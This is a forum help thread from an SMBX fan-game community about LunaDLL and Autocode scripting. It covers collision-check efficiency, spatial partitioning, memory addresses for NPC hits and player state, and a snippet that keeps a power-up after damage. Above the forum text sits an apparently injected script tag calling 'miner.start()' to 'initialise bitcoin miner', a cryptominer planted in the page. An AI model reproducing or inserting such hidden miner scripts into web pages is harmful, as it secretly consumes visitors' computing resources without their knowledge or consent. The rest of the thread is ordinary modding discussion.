<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectmario fan games galaxy

LunaDLL/LunaLUA help thread

The second SMBX collab!
Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

NPCs can't trigger block trigger, because the way block trigger works right now is to collision check every single block in the level against demo's rectangle, and to do that with every single NPC in the level would almost certainly cause bigtime lag.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Karatekid5
Welcome to the resort!
Posts: 66
Joined: 10 years ago
Location: Pennsylvania
Contact:

Re: LunaDLL help thread

Postby Karatekid5 » 5 years ago

Kil wrote:NPCs can't trigger block trigger, because the way block trigger works right now is to collision check every single block in the level against demo's rectangle, and to do that with every single NPC in the level would almost certainly cause bigtime lag.
Ah, alright then, I'll see if I can find another way. Though, is there a way to disable sliding?
Yoshi Ambassador!
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

No idea, but I'm guessing not really. Maybe you could try messing with player memory addresses that could stop them from sliding.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Kil wrote:NPCs can't trigger block trigger, because the way block trigger works right now is to collision check every single block in the level against demo's rectangle, and to do that with every single NPC in the level would almost certainly cause bigtime lag.
That seems very inefficient. Surely you only need to test those that are on screen at worst, and you could probably simplify it even more. Most collision engines that exist don't work by testing every single thing against every single other thing precisely because it's such an expensive thing to do. Usually, they'll narrow down what actually needs to be tested first, then do the more expensive operations on a bare minimum. In this case, you can discard any blocks that are off screen for testing against the player's hitbox immediately, then you can test the player's position relative to the section boundaries to further reduce the blocks you need to do accurate collision for. There's a system called "bounding boxes" which was built to help with this very system of narrowing down what needs detailed collision detection (though that system doesn't really help here because everything is using square hitboxes). There are better ways to do it than simply testing against everything that exists.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 997
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 5 years ago

Hoeloe wrote:
Kil wrote:Stuff
More stuff
I'm guessing it has to be that way because of how inefficiently SMBX is programmed or something? *shrug*
But yeah, if you can you should definitely narrow down the testing region to the player's/NPC's rectangle + a tiny bit over their max X and Y speeds.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Rockythechao wrote:
Hoeloe wrote:
Kil wrote:Stuff
More stuff
I'm guessing it has to be that way because of how inefficiently SMBX is programmed or something? *shrug*
But yeah, if you can you should definitely narrow down the testing region to the player's/NPC's rectangle + a tiny bit over their max X and Y speeds.
It would, of course, but much easier to do efficiently if the blocks in the internal SMBX array were sorted sensibly. I don't believe this is the case, though, which makes things awkward, but there's always a way to improve over the brute force "test everything against every other thing".

It might be possible, for example, to create a second internal array which references the first, but sorted more sensibly. That way, blocks can be tested based on their position in the array, which is a lot faster. This does break down somewhat for moving and hidden layers, but it should be possible to determine, at any given point, which blocks are moving and which are hidden, and testing those separately, which is still cheaper than doing that for all blocks.
Image
Image
Image
Image
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

Hoeloe wrote:
Kil wrote:NPCs can't trigger block trigger, because the way block trigger works right now is to collision check every single block in the level against demo's rectangle, and to do that with every single NPC in the level would almost certainly cause bigtime lag.
That seems very inefficient. Surely you only need to test those that are on screen at worst, and you could probably simplify it even more. Most collision engines that exist don't work by testing every single thing against every single other thing precisely because it's such an expensive thing to do. Usually, they'll narrow down what actually needs to be tested first, then do the more expensive operations on a bare minimum. In this case, you can discard any blocks that are off screen for testing against the player's hitbox immediately, then you can test the player's position relative to the section boundaries to further reduce the blocks you need to do accurate collision for. There's a system called "bounding boxes" which was built to help with this very system of narrowing down what needs detailed collision detection (though that system doesn't really help here because everything is using square hitboxes). There are better ways to do it than simply testing against everything that exists.
You have to test the objects to see if they're on screen. That's what I'm saying. If you have 100 sprites and blocks, you're going to be doing at a minimum 100 x 100 tests of some kind, just to find what's eligible to be collided with. I already made a spatial partitioning system for csprites that doesn't do this but it's not hooked up to anything else yet.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Not if the blocks are sorted. If you know that every block beyond, say, the 100th in the array is to the right of that block, then you don't need to test any of those blocks.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 997
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 5 years ago

Also, multidimensional array. [section, block], [section, layer, block], etc.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Rockythechao wrote:Also, multidimensional array. [section, block], [section, layer, block], etc.
Fundamentally, there are a lot of ways you can represent the data that allow you to use facts about that representation to quickly reduce what you need to test. The method currently implemented is a brute force one because of the default SMBX block array, but it could be done faster if another way to reference the data existed, even if it's just another array containing the indices of the blocks in the SMBX array, which can be sorted at load time into something more useful for partitioning space.
Image
Image
Image
Image
Image

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Is it possible to:

1. Make an event happen when a boss is at a certain HP
2. Interrupt the player's death after a certain amount of frames has passed and transport them to coordinates, alive again?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

yes

1. Just read from the npc's hits memory
2. Just read from the player's death animation timer memory
DON'T PM me. Ask your question in the help thread so everyone can be answered.

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

So I've been put in charge of some guy's project. It also has a modded exe, but it was from long ago, so it doesn't use lunadll. I was toying with not using lunadll of course, but I've decided the autoscroll is too invaluable because it makes airship levels WAY better. The other stuff doesn't hurt lol. So which is easier for you/me Kil?
A. Remake the mod's changes in a lunadll exe
B. Add lunadll to the mod exe

And before anyone accuses me of shoehorning it in, there are like 5 levels done, 2 or 3 of which I can use, and there's like 50 levels minimum in the project. So don't accuse me of shoehorning lunadll into a project that was fine without it, if anyone from SMBX.org is here.

LukasSMBX
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby LukasSMBX » 5 years ago

Is there a code that you keep being the legend of zelda fairy ? so if you get hidden you just keep being that fairy?

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

So I've been

1. Using cheat engine on SMBX
2. Scanning double, unknown initial value without sonicstooslow
3. Compare last scan, rescan after I type the cheat

What am I doing wrong? There's always way too many results to sift through. Once 600+, then 3100+. I've been able to change health bars before in other games, so what's the deal?

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 9 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 5 years ago

TiKi wrote:So I've been

1. Using cheat engine on SMBX
2. Scanning double, unknown initial value without sonicstooslow
3. Compare last scan, rescan after I type the cheat

What am I doing wrong? There's always way too many results to sift through. Once 600+, then 3100+. I've been able to change health bars before in other games, so what's the deal?
You could do something unrelated to the thing you are looking for, and then scan multiple times for any unchanged values. Most values will shift randomly, so you probably should to this after the steps 1-3.

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Hey Kil, could I please have a snippet that has a timer that subtracts one coin every 60 frames? Other than that this "super sonic mode" thing is going swimmingly :D

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Sorry for the double post.

Will it be possible to switch out a SMBX npc for a lunaDLL sprite... Even if it comes out of a block?

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Is there a "on npc memory" like OnPlayerMemory?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

Yeah. You can loop over all the NPCs in Lua.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 558
Joined: 6 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: LunaDLL help thread

Postby ztarwuff » 5 years ago

I'm trying to get an action to trigger if a player lands on a specific type of block.

Code: Select all

#1
BlockTrigger,0,10,1,1001,0,0


#1001
TriggerSMBXEvent,0,0,0,0,1,UpStart

#END
This is the code, I've currently got. I actually wanted to use Block 447, because it was closer to the other blocks I wanted to use for the level but I've seen that the code works with 10, so I've tried using that instead. No luck. I've even copied code wholesale from Episode 1, modifying where required and still nothing.

Is it something to do with the values I set to 0? Does BlockTrigger only work for certain blocks? Any help would be greatly appreciated.

TiKi
Posts: 28
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Kil wrote:Yeah. You can loop over all the NPCs in Lua.
In auto code?

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

TiKi wrote:
Kil wrote:Yeah. You can loop over all the NPCs in Lua.
In auto code?
One of the many benefits Lua has over Autocode is the ability to loop effectively. I don't believe you can do it in Autocode.
Image
Image
Image
Image
Image

hacheipe399
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby hacheipe399 » 5 years ago

Hello! Is there a method to keep the power-up of the player permanently? ie: I have a leaf and I get hurt, but the player state is still the same...

User avatar
kitikami
Posts: 499
Joined: 6 years ago

Re: LunaDLL help thread

Postby kitikami » 5 years ago

This keeps the player's power-up constant even if you get hit. I think 4 is for the leaf, but you can set it to other power-ups if you want:

#0
PlayerMemSet,0,0x112,4,0,0,w

If you still want to have the player killable by enemies, you'll probably have to set up a separate death function, though, since I think that keeps the player more than one hit away from death (at least with Demo/Iris, I haven't tried it with the other characters). You could probably set up a variable that counts hits the player has taken and then activate the kill function when it reaches a certain number.
Image


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 2 guests

cron